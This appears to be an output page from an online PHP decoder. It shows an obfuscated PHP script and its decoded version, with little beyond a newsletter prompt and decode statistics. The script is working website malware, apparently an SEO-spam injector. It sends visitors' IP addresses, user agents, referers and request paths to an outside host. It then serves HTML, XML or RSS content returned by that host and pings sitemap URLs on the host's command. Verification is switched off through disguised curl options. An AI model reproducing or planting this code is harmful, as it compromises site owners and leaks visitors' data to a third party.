Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ERroR_rEporTinG((-0310- -0672+-01021- -0410)+(int)ROUnD(140.25+140.25+140.25+140.25)..
Decoded Output download
<?php ERroR_rEporTinG((-0310- -0672+-01021- -0410)+(int)ROUnD(140.25+140.25+140.25+140.25)+(int)roUNd(-138.33333333333+-138.33333333333+-138.33333333333)+(-0264- -0331-0240));HeadeR("Content-Type: text/html; charset=utf-8");$_bewa=BAsE64_enCoDe(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]);$_dxyihgsu=base64_EnCOdE(@$_SERVER["REQUEST_URI"]);$_qhwjb=@$_SERVER["HTTP_HOST"];$_fmimmu=BAse64_eNCOdE(@$_SERVER["HTTP_USER_AGENT"]);$_zylahw=BASe64_EnCoDe(@$_SERVER["HTTP_REFERER"]);$_acsfr=bASE64_EnCOdE(@$_SERVER["REMOTE_ADDR"]);$_wuzptkpf=baSe64_Encode(dATe_dEFaULt_TimeZonE_GET());$_sygd=((isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]=="on")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]=="https"))?"https://":"http://";$_wevvitt="https://fgd205.grandrow.top";$_aircefcr=BAsE64_ENCodE($_sygd.$_qhwjb);$_meivmow=$_wevvitt."/index.php?domain=".$_aircefcr."&uri=".$_dxyihgsu."&lan=".$_bewa."&agent=".$_fmimmu."&zone=".$_wuzptkpf."&ip=".$_acsfr."&goweb=".$_wevvitt."&referer=".$_zylahw;$_mwuwtew=_gbisa($_meivmow);if(STrIPos($_SERVER["REQUEST_URI"],"jp2023")!==false){echo$_qhwjb.":cs205-ok;";exit();}if(StrStr($_mwuwtew,"[#*#*#]")){$_kvxx=eXPloDe("[#*#*#]",$_mwuwtew);if($_kvxx[(-0101- -0404+-077+-0421)+(0255-0111+0116)+(int)round(-18.5+-18.5)]=="echohtml"){echo$_kvxx[(0262+-0475)-(-016+01235+-01217)-(-01322+-01344+02452)];exit;}if($_kvxx[(int)RoUnd(0+0)]=="echoxml"){HEAder("Content-type: text/xml");echo$_kvxx[(-0573- -0600-0621)-(int)RoUnD(-13.333333333333+-13.333333333333+-13.333333333333)+(01542-01102)-(int)rOunD(-17.25+-17.25+-17.25+-17.25)];exit;}if($_kvxx[(int)rouNd(0+0+0+0)]=="echorss"){HeadeR("Content-type: text/xml");echo$_kvxx[(int)roUND(11+11+11+11)-(int)rouND(1+1)-(-01014- -01065)];exit;}if($_kvxx[(int)rouND(0+0+0)]=="pingxml"){$_clvq=EXpLode("|||",$_kvxx[(int)RouNd(0.5+0.5)]);foreach($_clvq as$_dssfqkq){$_qdrax=_gbisa($_dssfqkq);$_cwuql=(strPOS($_qdrax,"Sitemap Notification Received")!==false)?"OK":"ERROR";echo$_dssfqkq."===>Sitemap: ".$_cwuql."<br>";}exit;}}function _gbisa($_oqlngc){$_mwuwtew=@fIle_geT_cONtENTS($_oqlngc);if(!$_mwuwtew){$_gljgh=CURL_inIt();cUrl_sEtOpt($_gljgh,(int)rOUnd(4942.5+4942.5)+(int)ROunD(4683.5+4683.5)+(int)rOuND(-2312.5+-2312.5+-2312.5+-2312.5),$_oqlngc);cURL_SETOpT($_gljgh,(int)ROUnd(-338.5+-338.5)-(int)ROUnD(222+222+222)-(0212- -0641+-0757)+(int)ROund(371+371+371+371),(int)RouND(0+0+0));cuRL_SETOpT($_gljgh,(int)RoUNd(294.66666666667+294.66666666667+294.66666666667)-(int)rouNd(83+83+83+83)-(int)rOUnD(150+150)+(int)rouNd(-62.666666666667+-62.666666666667+-62.666666666667),(int)RouND(0+0+0));cuRL_SetoPT($_gljgh,(int)rOunD(9956.5+9956.5),(int)roUnd(0.25+0.25+0.25+0.25));$_mwuwtew=cUrl_exeC($_gljgh);CuRl_clOSE($_gljgh);}return$_mwuwtew;};?>
Did this file decode correctly?
Original Code
<?php ERroR_rEporTinG((-0310- -0672+-01021- -0410)+(int)ROUnD(140.25+140.25+140.25+140.25)+(int)roUNd(-138.33333333333+-138.33333333333+-138.33333333333)+(-0264- -0331-0240));HeadeR("\x43\x6fnte\x6e\164\x2d\124y\160\145: \164e\170\164/h\164\x6dl\x3b \143\x68a\162set\x3d\165t\x66-8");$_bewa=BAsE64_enCoDe(@$_SERVER["HTTP_\101CCE\x50\x54\x5fLANGU\x41\x47E"]);$_dxyihgsu=base64_EnCOdE(@$_SERVER["\x52E\x51\125E\123\x54_URI"]);$_qhwjb=@$_SERVER["\x48TT\120_HOS\124"];$_fmimmu=BAse64_eNCOdE(@$_SERVER["HTT\x50_US\105\122_A\x47E\x4eT"]);$_zylahw=BASe64_EnCoDe(@$_SERVER["\110T\x54P_REFE\x52\105\x52"]);$_acsfr=bASE64_EnCOdE(@$_SERVER["\x52E\x4d\117\x54\105\137ADD\122"]);$_wuzptkpf=baSe64_Encode(dATe_dEFaULt_TimeZonE_GET());$_sygd=((isset($_SERVER["\110\124T\x50S"])&&$_SERVER["H\124\x54P\x53"]=="o\x6e")||(isset($_SERVER["H\124TP_X\x5fFO\122WA\x52DED\137PRO\x54\x4f"])&&$_SERVER["\110\124\x54\120\137X_\x46ORWAR\104E\104\x5f\120\122O\x54\x4f"]=="\150\164\x74ps"))?"ht\164p\x73://":"h\x74tp\072\x2f/";$_wevvitt="\x68\x74tps\072//f\x67\144\062\x30\065.\x67r\x61n\x64row.\x74\157\160";$_aircefcr=BAsE64_ENCodE($_sygd.$_qhwjb);$_meivmow=$_wevvitt."\x2f\x69ndex.\160\150\x70\x3f\x64\x6fma\x69n=".$_aircefcr."\046\x75\x72\x69\075".$_dxyihgsu."\046lan\x3d".$_bewa."\046ag\145n\164=".$_fmimmu."\x26z\x6fne=".$_wuzptkpf."&ip\075".$_acsfr."&go\167\x65\x62=".$_wevvitt."\x26ref\145r\145\x72\075".$_zylahw;$_mwuwtew=_gbisa($_meivmow);if(STrIPos($_SERVER["R\105\x51U\105S\124\137URI"],"\x6ap\062023")!==false){echo$_qhwjb."\072c\16320\065\x2d\157k\073";exit();}if(StrStr($_mwuwtew,"[#*\043\052#\135")){$_kvxx=eXPloDe("[#*#\052\x23\135",$_mwuwtew);if($_kvxx[(-0101- -0404+-077+-0421)+(0255-0111+0116)+(int)round(-18.5+-18.5)]=="ec\x68o\x68tml"){echo$_kvxx[(0262+-0475)-(-016+01235+-01217)-(-01322+-01344+02452)];exit;}if($_kvxx[(int)RoUnd(0+0)]=="ec\x68o\170m\x6c"){HEAder("Con\164\x65\x6et\055type: \x74e\x78\164/xml");echo$_kvxx[(-0573- -0600-0621)-(int)RoUnD(-13.333333333333+-13.333333333333+-13.333333333333)+(01542-01102)-(int)rOunD(-17.25+-17.25+-17.25+-17.25)];exit;}if($_kvxx[(int)rouNd(0+0+0+0)]=="echo\x72ss"){HeadeR("\x43\x6f\156tent\055t\x79\160e: \164ext/x\x6d\x6c");echo$_kvxx[(int)roUND(11+11+11+11)-(int)rouND(1+1)-(-01014- -01065)];exit;}if($_kvxx[(int)rouND(0+0+0)]=="pi\x6egxml"){$_clvq=EXpLode("|||",$_kvxx[(int)RouNd(0.5+0.5)]);foreach($_clvq as$_dssfqkq){$_qdrax=_gbisa($_dssfqkq);$_cwuql=(strPOS($_qdrax,"\123\151t\145ma\160\x20\116o\164ifi\143atio\x6e \x52e\x63\x65\151\166e\x64")!==false)?"OK":"E\x52ROR";echo$_dssfqkq."\075\x3d=\076\123item\x61p: ".$_cwuql."\074br>";}exit;}}function _gbisa($_oqlngc){$_mwuwtew=@fIle_geT_cONtENTS($_oqlngc);if(!$_mwuwtew){$_gljgh=CURL_inIt();cUrl_sEtOpt($_gljgh,(int)rOUnd(4942.5+4942.5)+(int)ROunD(4683.5+4683.5)+(int)rOuND(-2312.5+-2312.5+-2312.5+-2312.5),$_oqlngc);cURL_SETOpT($_gljgh,(int)ROUnd(-338.5+-338.5)-(int)ROUnD(222+222+222)-(0212- -0641+-0757)+(int)ROund(371+371+371+371),(int)RouND(0+0+0));cuRL_SETOpT($_gljgh,(int)RoUNd(294.66666666667+294.66666666667+294.66666666667)-(int)rouNd(83+83+83+83)-(int)rOUnD(150+150)+(int)rouNd(-62.666666666667+-62.666666666667+-62.666666666667),(int)RouND(0+0+0));cuRL_SetoPT($_gljgh,(int)rOunD(9956.5+9956.5),(int)roUnd(0.25+0.25+0.25+0.25));$_mwuwtew=cUrl_exeC($_gljgh);CuRl_clOSE($_gljgh);}return$_mwuwtew;};?>
Function Calls
ROUnD | 1 |
Stats
MD5 | b76c0c3cf389cff42ef78b3b2379b8ec |
Eval Count | 0 |
Decode Time | 82 ms |